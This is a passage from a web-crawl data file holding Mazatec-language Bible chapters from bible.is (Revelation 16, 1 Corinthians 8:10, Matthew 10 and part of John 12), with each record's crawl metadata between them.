tsikíxten ya̱ a̱sòn i̱sà'nde jè ra tjíya jè chi̱tsín ra tsá'ya; nga'tsì jñà xi̱ta̱ ra tjí'ta‑la̱ chi̱ba̱‑la̱ cho̱ ra 'ñó 'cho 'kioo̱, ko̱ jñà ra bexkón jè i̱sén‑la̱ cho̱ ra̱kìi̱, jngo 'chin tsako̱‑la̱ nga tsajàjno jtsé ijo‑la̱ ra bato 'ñó 'cho tsatsíjen ko̱ ra bato tse kjo̱hi'in kitsjá‑la̱. 3Jè ìkja̱li̱ ra ma‑ni jò, ya̱á tsikíxten‑jin ya̱ a̱jin ndáchikon jè ra tjíya chi̱tsín‑la̱; jè ndáchikon ngi kjójní‑ní koni tsa jní‑la̱ xi̱ta̱ ra xá ini'ken‑ni, ko̱ nga'tsì cho̱ ra tjín ya̱ a̱jin ndáchikon ngi 'ken ijye‑ní. 4Jè ìkja̱li̱ ra ma‑ni jàn, ya̱á tsikíxten ra tjíya chi̱tsín‑la̱ ya̱ ñánda̱ nga tjín xa̱ngá nandá ko̱ ya̱ ñánda̱ nga títjo nandá; jñà nandá saba jní kjomà. 5Kí'nchré‑la̱ jè ìkja̱li̱ ra 'tse̱ nandá nga kitsò: ―Ji̱ Na̱'ìn, kjo̱hixi̱í ra tji'nì koni 'sín tjinìkasín kjo̱hi'in kìi̱ ta nga̱tjì‑la̱ kjoa̱ ra tjín i̱sà'nde, nga̱ xi̱ta̱ tsje‑ní ra ji̱ ko̱ ji̱í‑ní ra tijni 'ndi̱ 'ndi̱ ko̱ ji̱í‑ní ra tijna‑ni skanda ti̱'sa̱ kjotseé. 6Nga̱ jñà xi̱ta̱ kìi̱, tsikíxten jní nga isì'ken jñà xi̱ta̱‑li ko̱ jñà xi̱ta̱ ra kiìchja̱ ngajo‑li; ko̱ 'ndi̱ 'ndi̱, 'koa̱á 'sín tji'bi‑la̱ ji̱ nga jní kata'bi koni 'sín nga bakèn‑la̱. 7Ti̱'koa̱á kí'nchré jngo‑la̱ jta̱ ra ya̱ a̱'ta ímixa̱ tsje‑la̱ Nainá kiìchja̱‑ni nga kitsò: ―Ji̱ Na̱'ìn ra Nainá 'mì‑li, ji̱ ra bato tse nga'ñó tjín‑li, kixi̱í kjoa̱, jñà kjo̱hi'in ra tji'bi‑la̱ xi̱ta̱, ngi kixi̱ tjín koni 'sín nga bakèn‑la̱. 8Jè ìkja̱li̱ ra ma‑ni ijòn, ya̱á tsikíxten‑jnó tsá'bí jè ra tjíya chi̱tsín‑la̱; ko̱ jè tsá'bí ki'tsì'ndeé‑la̱ nga jè ndabá‑la̱ 'ñó katachjàn‑la̱ xi̱ta̱. 9Ko̱ batoó 'ñó kichjàn‑la̱ jè ndabá‑la̱ tsá'bí jñà ijo‑la̱ xi̱ta̱; ko̱ jñà xi̱ta̱ kìi̱, ta isa̱á kiìchja̱jno jnchro‑la̱ Nainá ra tjín‑la̱ nga'ñó a̱'ta 'tse̱ kjo̱hi'in kìi̱; ko̱ mì kì isíkájno jé‑la̱, ko̱ ni̱ mì jeya isíkíjna Nainá. 10Jè ìkja̱li̱ ra ma‑ni 'òn, ya̱á tsikíxten‑jnó ra tjíya chi̱tsín‑la̱ ya̱ ñánda̱ nga tíbatéxoma jè cho̱ ra 'ñó 'cho 'kioo̱; ya̱ ñánda̱ nga tíbatéxoma, 'ñó kjòjñò ni̱tje̱n. Jñà xi̱ta̱ ra ya̱ títsa̱jna, ngi iskinenè ndi̱je̱n‑la̱ ta nga̱tjì‑la̱ nga ajò kjomà‑la̱ ijo‑la̱ jñà kjoa̱ kìi̱. 11Takó mì kì isíkájno jé‑la̱ xi̱ta̱ kìi̱; ta isa̱á jnchro kiìchja̱jno‑la̱ Nainá ra 'tse̱ ngajmi ta nga̱tjì‑la̱ nga ajò kjomà‑la̱ jñà 'chin jtsé ra tsako̱‑la̱ ijo‑la̱. 12Jè ìkja̱li̱ ra ma‑ni jon, ya̱á tsikíxten‑jín ra tjíya chi̱tsín‑la̱ ya̱ ndáje̱ ra 'mì Éufrates; jè nandá‑la̱ xa̱ngá jè, kixìya‑ní mé‑ni nga ma ko̱to‑ni jñà xi̱ta̱xá ítjòn ra ya̱ nchrabá‑ni ya̱ ñánda̱ nga bitjokátji‑ni tsá'bí. 13Kíjtse‑náa̱ tsa'ba jè ye̱ ra 'ñó je 'ki ko̱ ya̱ tsa'ba jè cho̱ ra 'ñó 'cho 'kioo̱, ko̱ ya̱ tsa'ba jè xi̱ta̱ ra kiìchja̱ya 'én ndiso nga itjo jàn inìma̱ 'cho ra koni kjòn xke̱ kjòn. 14Jñà inìma̱ 'cho kìi̱, inìma̱ 'cho‑la̱ ni̱í‑ní; jñà ra bakón kjo̱xkón ko̱ ra fì nga bíxkóya jñà xi̱ta̱xá ítjòn ra tjín ya̱ nga tíjngo i̱sà'nde nga ska̱jàn jè ni̱chjin ra ijye ko̱'sín tjínda‑la̱ jè Nainá ra bato tse nga'ñó tjín‑la̱. 15\"Nda ti̱ná'ya, nga̱ 'koa̱á 'sín kjí'ia̱ ra 'a̱n koni 'sín 'fiì jngo xi̱ta̱ chijé. Mé ta̱ nda‑la̱ jè xi̱ta̱ ra ijye tíjnanda 'kia̱ nga 'a̱n ra kjí'ia̱ ko̱ ra ijye kjijnanda nikje‑la̱; ko̱ tsa kjijna líká, jcha̱á‑la̱ kjo̱sabà‑la̱.\" 16Jñà inìma̱ 'cho‑la̱ ni̱í, ya̱á tsikíxkóya jñà xi̱ta̱xá ítjòn ra tjín ya̱ i̱sà'nde ya̱ i̱'nde ñánda̱ nga 'mì Armagedón ra 'én hebreo. 17Jè ìkja̱li̱ ra ma‑ni ito, ya̱á tsikíxten ya̱ a̱jin i̱sén jè ra tjíya jè chi̱tsín‑la̱. Ya̱ a̱ya i̱'nde tsje‑la̱ Nainá ra tíjna ján ngajmi ñánda̱ nga tíjna jè ra tíjnasòn íxile̱ nga tíbatéxoma itjo jngo jta̱ ra 'ñó kiìchja̱ nga kitsò: ―Ijyeé itjasòn. 18A̱kjòn taxki̱ 'ñó jate, ko̱ ina'yá‑la̱ jta̱, ko̱ kitsin 'cho̱n; 'tsa chón ra bato 'ñó 'tsa; kjè sa ni̱jngo chón ra ko̱'sín ta̱ 'ñó 'ba skanda 'kia̱ nga ti̱'sa̱ isinda jñà xi̱ta̱ ya̱ a̱sòn i̱sà'nde. 19Jè na̱xi̱ndá ra 'ñó nda 'yaxkon‑la̱, jàn‑ya kjomà. Ko̱ jñà na̱xi̱ndá ra chja̱‑ni jngó jngó nangi ra tjín i̱sà'nde, jngo kjá ixojen. Ko̱ jè na̱xi̱ndá ra 'mì Babilonia ra 'ñó nda 'yaxkon‑la̱ mì kì isìkato jè Nainá; kitsjá‑la̱ kjo̱hi'in ra i̱jncha chi̱tsín ñánda̱ nga 'ya kjo̱jti‑la̱ ra 'ñó ajò kjomà‑la̱. 20Nga'tsì nangi ra ya̱ kjihijyo ya̱ a̱jin ndáchikon, jngo kjá kichija; ko̱ jñà nindo, mì kì ti̱ kijcha‑ila̱. 21Ján ngajmi inchrabà‑ni jtsí na̱jo̱ ra iskatsanè jñà xi̱ta̱; ko̱ 'ñó tsiña kjòn skanda tsatoó‑la ichán kilo iyí nga jngó jngó. Jñà xi̱ta̱ 'ñó kiìchja̱jno‑la̱ Nainá ta nga̱tjì‑la̱ jè kjo̱hi'in ra 'jiìkó jtsí na̱jo̱ nga batoó tse kjo̱hi'in ki'tsì‑la̱.\nApocalipsis 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/16","date":"2013-12-10T06:20:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164010865\/warc\/CC-MAIN-20131204133330-00002-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":752,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10Tsà tjín jngoò xi̱ta̱ xinguio̱o xi tsò nga tjín‑la̱ kjo̱hítsjeèn nga ma chine ni̱ta̱ mé yijo‑ne, ko̱ ya̱á fì kakjèn ya̱ i̱'nde ñánda yaxkón xkósòn; tsà koi na̱chrjein‑la ya̱ skoe̱ jngoò 'ndsé xi indaàjiìn tjín kjo̱hítsjeèn‑la̱ nga ya̱ tíkjèn. Jè xi̱ta̱ 'ndsé, k'oa̱á ti̱s'ín s'i̱in.\n1 Corintios 8:10\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8\/10","date":"2013-12-12T21:19:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164710506\/warc\/CC-MAIN-20131204134510-00086-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":49,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra kjomà a̱skan, Jesús kiìchja̱á‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱ ra tejò ma‑ni, kitsjá‑la̱ kjo̱hixi̱ nga ma‑la̱ ko̱chrjekàjin jñà inìma̱ 'cho‑la̱ ni̱í ra tjíjin inìma̱‑la̱ xi̱ta̱ ko̱ nga ko̱ma‑la̱ si̱inda‑ni ta mé 'chin‑nioo̱ ta ñánda̱ nga ajò ijo‑la̱ xi̱ta̱. 2Jñà xi̱ta̱ ra tejò ma‑ni ra tsjahíjin jè Jesús nga tsikíxáya‑la̱, ki̱í'sín 'mì: jè ra tíjna ítjòn, Simón 'mì, ra ti̱'koa̱ Pedro kitsò‑la̱, ko̱ jè 'ndse̱, jè ra 'mì Andrés; jè Jacobo, ko̱ jè 'ndse̱ ra 'mì Juan ra i̱xti‑la̱ Zebedeo; 3jè Felipe, jè Bartolomé, jè Tomás, jè Mateo, ra isíkíchjítjì tsajmì a̱'ta 'tse̱ xi̱ta̱xá Roma; ko̱ jè Jacobo ra ti‑la̱ Alfeo; ko̱ jè Lebeo ra ti̱'koa̱ Tadeo 'mì; 4jè Simón ra xi̱ta̱ cananista, ko̱ jè Judas Iscariote jè ra isìnga̱tsja xi̱ta̱ kondra̱‑la̱ Jesús ra kjomà a̱skan‑nioo̱. 5Jesús isìkasén jñà xi̱ta̱ ra tejò ma‑ni nga kiì síka'bísòn 'én‑la̱ Nainá ko̱ kitsjá‑la̱ kjo̱hixi̱, kitsò‑la̱: ―Kì ya̱ mangió ya̱ i̱'nde 'tse̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío, ko̱ kì ya̱ na̱xi̱ndá‑la̱ xi̱ta̱ samaritano bitjàha̱'se̱n‑jion. 6Ta isa̱á jnchro ya̱ tangió ya̱ ñánda̱ nga títsa̱jna jñà xi̱ta̱ Israel ra ichijà koni 'sín chija jñà forrè. 7Tangió ko̱ ko̱'sín ti̱nákjoa̱ya nga kixó: \"Ijyeé tímachraña ni̱chjin nga ko̱tèxoma jè ra tíjna ngajmi.\" 8Ti̱nda‑no jñà xi̱ta̱ ra kiya; ti̱kjaáya‑ila jñà ra mi'ken; ti̱tsje jñà xi̱ta̱ ra chrja̱ba̱ ijo‑la̱ i̱nchifi'ndojno; ti̱náchrjekàjiòn jñà inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ inìma̱‑la̱ xi̱ta̱. Tà itjábé kjo̱tjò‑no jè nga'ñó ra̱kìi̱, ti̱'koa̱á ti̱'sín ta kjo̱tjò 'tia̱àn kjo̱nda kìi̱. 9'Kì to̱n sinè ko̱ kì to̱n chroba ko̱ kì to̱n cobre jcha̱a. 10Kì mé na̱'ya jcha̱a ra a̱'ta 'tse̱ ndi̱yá. Kì jò na̱chro̱ jcha̱a. Ti̱'koa̱ kì xa̱jté tsjaya. Kì yá koròti̱ jcha̱a. Nga̱ jè xi̱ta̱ ra síxá, 'koa̱á 'sín bakèn‑la̱ nga ya̱ 'ki̱‑la̱ ra ski̱ne̱ ya̱ ñánda̱ nga síxá. 11''Kia̱ nga jngo na̱xi̱ndá‑je kijcho ko̱ tsa jngo na̱xi̱ndá jtobá, tjatsjio jngo xi̱ta̱ ra nda xi̱ta̱, ko̱ ya̱ ti̱tsa̱jnako̱o skanda 'kia̱ nga ijye kítjo̱jion na̱xi̱ndá kìi̱. 12'Kia̱ nga ki̱tjáha̱'se̱en ya̱ ni'ya, ti̱kjáya‑la jñà ni‑la̱ ni'ya. 13Tsa jñà ni‑la̱ ni'ya nda ska̱ábétjò‑no, ti̱chikon'tion nga nda katitsa̱jna, tanga tsa mì kì ska̱ábétjò‑no, tà jión si̱ichikon'tin‑no Nainá. 14Tsa mì kì ska̱ábétjò‑no, ko̱ tsa majìn‑la̱ nga kji̱'nchré 'én‑no, títjo̱‑no ya̱ ni'ya ra̱kìi̱ ko̱ na̱xi̱ndá ra̱kìi̱ ko̱ tìtsajnè chijo‑la̱ ndsa̱kò. 15Kjo̱hixi̱í ra xin‑no 'kia̱ nga ki̱jchò ni̱chjin nga 'ki̱‑la̱ kjo̱hi'in jñà xi̱ta̱, isa̱á tse kjo̱hi'in 'ki̱‑la̱ jñà xi̱ta̱ kìi̱ koni jñà xi̱ta̱ 'tse̱ na̱xi̱ndá Sodoma ko̱ na̱xi̱ndá Gomorra. 16'Katasijin‑no, 'a̱n, 'koa̱á 'sín sikásén‑no koni tsa forrè ya̱ a̱jin‑la̱ tsi̱jén. Maña̱ ti̱ma nga ti̱konda̱ ko̱‑no ijo‑no koni 'sín 'sín jè ye̱, tanga indakjoa̱ 'tia̱àn koni jñà ni̱se paloma. 17Nda ti̱konda̱a ijo‑no, nga̱ jñà xi̱ta̱ ya̱á si̱ìnga̱tsja‑no ya̱ ngixko̱n xi̱ta̱xá, ko̱ ya̱á ska̱jàn‑ko̱‑no ya̱ a̱ya ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 18Skanda ya̱á i̱ko̱‑no ya̱ ngixko̱n xi̱ta̱xá ra i̱nchibatéxoma ko̱ ya̱ ngixko̱n jñà ra xi̱ta̱xá ítjòn títsa̱jna ra ta nga̱tjì tsa̱'a̱n. 'Koa̱á 'sín ka̱ma‑ni nga ma ki̱nákjoa̱‑la jiòn 'én ra tsa̱'a̱n jñà ra xi̱ta̱xá ko̱ jñà ra mì tsa xi̱ta̱ judío. 19'Kia̱ nga ko̱nga̱tsja jiòn ya̱ ngixko̱n xi̱ta̱xá kìi̱, kì tà chjàn makájno‑no mé 'én ra ki̱nákjoa̱a ko̱ kó'sín nga kixó; nga̱ jé Nainá tsjá‑no 'én 'kia̱ nga ki̱jchò chi̱ba̱‑la̱. 20Nga̱ mì tsa jiòn‑jiòn ra ki̱nákjoa̱a, jè Inìma̱ Tsje‑la̱ Nainá ra si̱ìkìchja̱‑no. 21'Jñà ni̱chjin kìi̱, jè ra tjín 'ndse̱, ti̱jé 'ndse̱ si̱ìnga̱tsja‑ni ya̱ ñánda̱ nga katani'ken; jè ra na̱'ìn ma, ti̱jé si̱ìnga̱tsja‑ni ti‑la̱ nga katabiya; jñà ra i̱xti ma, jñá si̱ìnga̱tsja na̱'ìn‑la̱ ya̱ ñánda̱ nga katani'ken‑te. 22Nga'tsì xi̱ta̱ ko̱jtikeé‑no ra ta nga̱tjì tsa̱'a̱n. Tanga jè ra chíkjoa̱‑la̱ nga kixi̱ ko̱se̱n skanda 'kia̱ nga kje̱he'tà jñà kjoa̱ kìi̱, jè‑ní ra ko̱tojin kjo̱hi'in. 23'Kia̱ nga jngo na̱xi̱ndá ko̱chrjejin‑no xi̱ta̱ nga koa̱àtji̱ngi‑no, ti̱tjáha̱chinga, ko̱ kj'ií na̱xi̱ndá tangió. 'Koa̱á xin kixi̱‑no, ti̱kjeé mangí‑najiòn kóho'ki na̱xi̱ndá ra chja̱‑ni Jerusalén nga kjí'i̱ india‑na, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱. 24'Ni̱jngo xi̱ta̱ ra 'sa̱ tíkotá'yá ra isa̱ 'nga tíjna koni tsa jè maestro‑la̱; ti̱'koa̱ ni̱jngo chi̱'nda ra isa̱ 'nga tíjna koni tsa jè ni‑la̱ xá. 25Jè ra 'sa̱ tíkotá'yá, katasijngo ikon tsa tà ko̱'sín 'ki katama‑la̱ koni tsa jè maestro‑la̱; ko̱ jè chi̱'nda katasijngo ikon tsa ta ko̱'sín kíjna koni jè ni‑la̱ xá. Tsa jè na̱'ìn‑la̱ i̱xti, xi̱ta̱‑ni̱í tsi'kìn‑la̱, ¿a tà jñà mì ko̱'sín 'kín‑la̱ jñà ra i̱xti‑la̱? 26'Kì tà chjàn skon‑la jñà xi̱ta̱. Nga̱ nga'tsì kjoa̱ ra tjí'ma, takó ko̱tsíjen‑yá‑ní; ko̱ ni̱'sín bato 'ma tjíhijyo, takó jcha̱á‑la̱. 27Jñà 'én ra ítsi'kena̱jmí'ma‑no, 'tèna̱jmíya tsijen‑la xi̱ta̱; ko̱ jñà 'én ra ya̱ kíchjàya chijée chíká‑no, ti̱ka'bísòn nga tíjngo na̱xi̱ndá. 28Kì jñà skon‑la jñà ra ta ijo‑ná ma‑la̱ sí'ken, tanga mì kì ma‑la̱ si̱ì'ken jè inìma̱‑ná. Jè jnchro ti̱skón‑la jè ra ma‑la̱ si̱ì'ken inìma̱‑ná ko̱ ijo‑ná ya̱ ñánda̱ nga tjín kjo̱hi'in ra mì kì fehe'ta. 29''Ya‑nájiòn nga ta jngo ixo̱ chjí‑la̱ nga jò ni̱se. Tanga ni̱jngo ni̱se kìi̱ ki̱yá tsa mì jè Na̱'ín‑ná ko̱kitsò. 30Ko̱ ra a̱'ta tsa̱jiòn, skanda jñà tsja̱skò tjíxki̱ya ijye‑la̱ jè Nainá. 31'Koa̱á ma‑ni kì tà chjàn skon jiòn. Nga̱ isa̱á 'ñó chjí‑no koni jñá ndí ni̱se, ni̱'sín takó kjìn ma‑ni. 32'Nga'tsì xi̱ta̱ ra ko̱ki̱tso̱ ya̱ ngixko̱n xi̱ta̱ nga 'a̱án fì'ta‑na, 'koa̱á ti̱'sín xiáa̱n ya̱ ngixko̱n Na̱'ìn‑na̱ ra tíjna ya̱ ján ngajmi nga tsa̱'a̱n‑ná nga'tsì jñà xi̱ta̱ kìi̱. 33Tanga ta yá xi̱ta̱‑ni ra ko̱ki̱tso̱ ya̱ ngixko̱n xi̱ta̱ nga mì tsa 'a̱n fì'ta‑na, 'koa̱á ti̱'sín xiáa̱n ra 'a̱n ya̱ ngixko̱n Na̱'ìn‑na̱ ra tíjna ya̱ ján ngajmi nga mì tsa xi̱ta̱ tsa̱'a̱n jiàa̱n. 34'Kì tà chjàn bixó jiòn nga kjoa̱'nchán 'jíi̱‑ko̱ ya̱ i̱sà'nde. Mì tsa kjoa̱'nchán‑jìn ra 'jíi̱‑ko̱; kjo̱jchán‑ní ra 'jíi̱‑ko̱ ra 'a̱n. 35Kií xá 'jíi̱‑na nga jñà xi̱ta̱, kondra̱ ki̱ji̱‑la̱ xákjién; jè ti, ti̱jé‑ni na̱'ìn‑la̱ ra kondra̱ ki̱ji̱‑la̱; ko̱ jè tsati, ti̱jé kondra̱ ki̱ji̱‑la̱ jè na̱‑la̱; ko̱ jè ra kja̱'nda ma, ti̱jé kondra̱ ki̱ji̱‑la̱ jè na̱chíya‑la̱. 36Nga jngo ni'ya xi̱ta̱, ti̱jñà xákjén ki̱ji̱‑la̱ kondra̱. 37'Jè xi̱ta̱ ra isa̱ 'ñó tsjake na̱'ìn‑la̱ ko̱ isa̱ 'ñó tsjake na̱‑la̱ ko̱ mì tsa ko̱'sín 'ñó matsjake‑na ra 'a̱n, mì kì bakèn‑la̱ nga xi̱ta̱‑na̱ ko̱ma; ko̱ jè xi̱ta̱ ra ti̱'koa̱á isa̱ 'ñó tsjake ti‑la̱ ko̱ tsa jè tsati‑la̱ ko̱ mì tsa ko̱'sín 'ñó matsjake‑na ra 'a̱n, ti̱'koa̱á mì kì bakèn‑te‑la̱ nga xi̱ta̱ tsa̱'a̱n ko̱ma. 38Ko̱ ti̱'koa̱á mì kì bakèn‑la̱ nga xi̱ta̱ tsa̱'a̱n xián‑la̱ jè xi̱ta̱ ra mì kì tsò ikon nga nchrabá'ta‑na nga chíkjoa̱‑la̱ kjo̱hi'in ra ko̱tojin ra ta nga̱tjì tsa̱'a̱n koni 'sín nga bato kjo̱hi'in xi̱ta̱ ra 'bamijìn krò ra ti̱jè ya̱ biya'tá‑ni. 39Jè ra mejèn‑la̱ nga mì kì jchi̱ja jè kjo̱binachon‑la̱, ta isa̱á si̱ìjchija jnchro; tanga jè ra tsjá kjo̱binachon‑la̱ nga katachija ra ta nga̱tjì tsa̱'a̱n, ta isa̱á jnchro sa̱kò‑la̱ jngo kjo̱binachon xi̱tse̱. 40'Jè xi̱ta̱ ra nda ska̱ábétjò‑no, 'a̱án‑ní ra ska̱ábétjò‑na; ko̱ jè ra ska̱ábétjò‑na, jé ska̱ábétjò jè ra isìkasén‑na. 41Jè xi̱ta̱ ra nda ska̱ábétjò jngo xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱, ta nga̱tjì‑la̱ nga 'én‑la̱ Nainá chja̱ya, ta ngásòn tjín kjo̱tjò ra 'ki̱‑la̱ ngajòo̱; ko̱ jè xi̱ta̱ ra nda ska̱ábétjò jè xi̱ta̱ ra kixi̱ tíjna ya̱ ngixko̱n Nainá, ta nga̱tjì‑la̱ nga kixi̱ tíjna, ti̱'koa̱á ta ngásòn tjín kjo̱tjò ra 'ki̱‑la̱ ngajòo̱. 42Ta yá‑ni ra ma‑la̱ tsjá jngo chi̱tsín‑la̱ nandá 'nchán jngo ndí xi̱ta̱ i̱ma̱, ta nga̱tjì‑la̱ nga 'a̱n kotá'yá'ta‑na, 'koa̱á xin kixi̱‑no nga isa̱á tse kjo̱nda‑la̱ Nainá sa̱kò‑isa‑la̱.\nSan Mateo 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/10","date":"2013-12-11T02:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029436\/warc\/CC-MAIN-20131204133349-00037-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":1146,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ta jon ni̱chjin chija‑isa nga ki̱tjo 'sí paxko̱, ya̱á kijì Jesús ya̱ na̱xi̱ndá Betania, ya̱ ñánda̱ i̱'nde‑la̱ Lázaro jè ra jè Jesús isikjaáya‑ila̱. 2Ya̱á isinda‑la̱ tsajmì ra tsakjèn 'kia̱ nga kjòjñò; jè Marta tsikíya‑la̱ tsajmì kìi̱, ko̱ jè Lázaro ya̱á tíjnajin‑te‑la̱ nga tíjna'ta ímixa̱ nga tíbakjèn ko̱ Jesús. 3'Kia̱á jè María 'jiìkó jngo namìta̱ ra tjíya sihìti̱ ixi ra 'ñó nda jne̱ ra bato 'ñó chjí‑la̱ nga tsikíxten‑jnó ya̱ ndsa̱ko̱ Jesús ko̱ ti̱jè tsja̱sko̱ isìxìjno‑ni. Ko̱ 'ñó nda tsijne̱ ya̱ a̱ya ni'ya. 4Jngo xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ra 'mì Judas Iscariote, ti‑la̱ Simón, jè ra si̱ìnga̱tsja xi̱ta̱ kondra̱‑la̱ Jesús, kitsó‑ní: 5―¿Mé‑ni mì tsa jàn sindo̱ ni̱chjin chjí‑la̱ xi̱ta̱ chi̱'nda kasatína‑ni jè sihìti̱ ixi ra kìi̱, ko̱ jè to̱n‑la̱ tsa ya̱ ka'bì‑la̱ jñà xi̱ta̱ i̱ma̱? 6Tanga jè Judas, mì tsa ki ko̱kitsò‑ni nga jñà makájno‑la̱ jñà ra xi̱ta̱ i̱ma̱, ta kií ko̱kitsò‑ni nga síchijé‑ní. Nga̱ jè tsá'ya jè xijtsa to̱n, ko̱ jè to̱n ra ya̱ siya jè xijtsa, jè sa'koa̱ kjábé chijé. 7Jesús kitsó‑la̱: ―Kì ko̱'sín 'mì‑la; kií xá tsikíjnatjò‑ni nga ko̱'sín si̱ìchjeén 'kia̱ nga 'a̱n ra si̱ijiaa̱n. 8Jñà ra xi̱ta̱ i̱ma̱, ya̱á títsa̱jnako̱ ki'ta‑najiòn, tanga 'a̱n, mì tsa ta kji'tà ni̱chjin i̱ kóti̱jnako̱‑no. 9Taxki̱ kjìn xi̱ta̱ judío kijì ján Betania 'kia̱ nga kií'nchré nga ya̱á tíjna Jesús; tanga mì tsa ta ki xá kijì‑ni nga mejèn‑la̱ ske̱ Jesús, kií xá kijì‑te‑ni nga mejèn‑la̱ ske̱ jè Lázaro, jè ra jè Jesús kisikjaáya‑ila̱. 10Jñà ra tjíhijyo na̱'mì ítjòn, 'kia̱á tsajo̱óya‑ni nga ti̱'koa̱á si̱ì'ken‑te jè Lázaro, 11nga̱ tà jé‑ni nga̱tjì‑la̱ nga kjìn xi̱ta̱ judío itjo'taxìn nga kjokjiín‑la̱ a̱'ta 'tse̱ Jesús. 12Ra ma nchijòn, 'ñó kjìn ma‑ni xi̱ta̱ ra tjítsa̱jna ya̱ ján Jerusalén ra ijchò 'sí paxko̱; 'kia̱ nga kií'nchré nga ya̱á ki̱jchò Jesús, 13'kia̱á tsate xka̱‑la̱ íxka̱jén nga kiì koñá‑la̱ ya̱ a̱ya ndi̱yáa̱. Ko̱ 'ñó chja̱ ko̱ sa̱a‑ni nga tsò: ―¡Jeya katijna Nainá! ¡Mé ta̱ nda‑la̱ jè xi̱ta̱ ra nchrabá ngajo‑la̱ Nainá, jè ra xi̱ta̱xá ítjòn‑la̱ na̱xi̱ndá Israel! 14Jesús isakò jngo‑la̱ ndí búrró i'ndí ra tsikijnakjá‑la̱, koni 'sín ijye tíchja̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, nga tsò: 15Ji̱ na̱xi̱ndá Sión kì tà chjàn skon‑jìn, chítsijen‑la̱ jè Xi̱ta̱xá ítjòn‑li nga tínchrabá, tíjnakjá jngo‑la̱ ndí búrró i'ndí. 16Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ mì kì kjòchi̱ya‑la̱ jñà kjoa̱ kìi̱ 'kia̱ nga ti̱'sa̱‑ni; tanga a̱skan‑nioo̱ 'kia̱ nga ijye 'ken Jesús ko̱ jaáya‑ila̱, 'kia̱á ítsjen‑la̱ nga ya̱á tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga'tsì kjoa̱ kìi̱, ko̱ nga a̱'ta 'tse̱‑ní nga ko̱'sín kitsò. 17Jñà xi̱ta̱ ra ya̱ tjítsa̱jnako̱ Jesús 'kia̱ nga kiìchja̱‑la̱ jè Lázaro nga kjijna mi'ken ya̱ a̱ya nga̱jo̱, ko̱ nga isikjaáya‑ila̱, tsi'kéna̱jmí‑la̱ jñà xi̱ta̱ ra kj'ií jè kjo̱xkón ra kijtse. 18Kií kijì‑ni jñà xi̱ta̱ nga kií'ká india‑ni Jesús nga̱ ijyeé kií'nchré jè kjo̱xkón ra ki'sìn. 19Jñà xi̱ta̱ fariseo kitsò‑la̱ xákjén nga jngó jngó: ―Chítsijeén‑la‑ni̱, ni̱mé ra ma 'sie̱én ra jién. Nga'tsì xi̱ta̱ saba ya̱á fìtji̱ngi ijye‑la̱. 20Jñà xi̱ta̱ ra kijì 'sí ján Jerusalén nga ya̱ kijtsexkón Nainá 'kia̱ nga tíbitjo 'sí, ya̱á títsa̱jin i'ka‑la̱ xi̱ta̱ griego. 21Jñà xi̱ta̱ kìi̱ isìchraña'tá‑la̱ jè Felipe ra ya̱ Betsaida i̱'nde‑la̱, jngo na̱xi̱ndá ra chja̱‑ni Galilea; tsikítsa'ba‑la̱, kitsò‑la̱: ―Nàmi̱, jé mejèn‑naji̱n nga jcha̱xkon‑ji̱n jè Jesús. 22Jè Felipe kiì 'kéna̱jmí‑la̱ jè Andrés, a̱kjòn kijì ngajòo̱ nga kiì 'kéna̱jmí‑la̱ jè Jesús. 23'Kia̱á kitsò‑la̱ Jesús: ―Ijyeé ijchó ni̱chjin nga jè I'ndí‑la̱ Xi̱ta̱ ki̱ji̱ india‑ni ján ngajmi mé‑ni nga jeya kíjna‑ni. 24Ngi 'én kixi̱í ra ko̱xin‑no, tsa jngo ni̱jmé ska̱tje̱n‑jin nangi ko̱ mì kì tjóki̱yá, ta jngoó ko̱ma ki'ta; tanga tsa tjóki̱yá 'kia̱ nga ska̱tje̱n‑jin ya̱ nangi, 'ñó kjìn‑ya ko̱ma. 25Jè xi̱ta̱ ra tà jè tsjake nga nda kíjna kjo̱binachon‑la̱ i̱ a̱'ta nangi, si̱ìjchija‑ní; tanga jè xi̱ta̱ ra mì tsa jè 'ñó bá'ta ikon kjo̱binachon ra tjín‑la̱ i̱ a̱'ta nangi, sakó‑la̱ 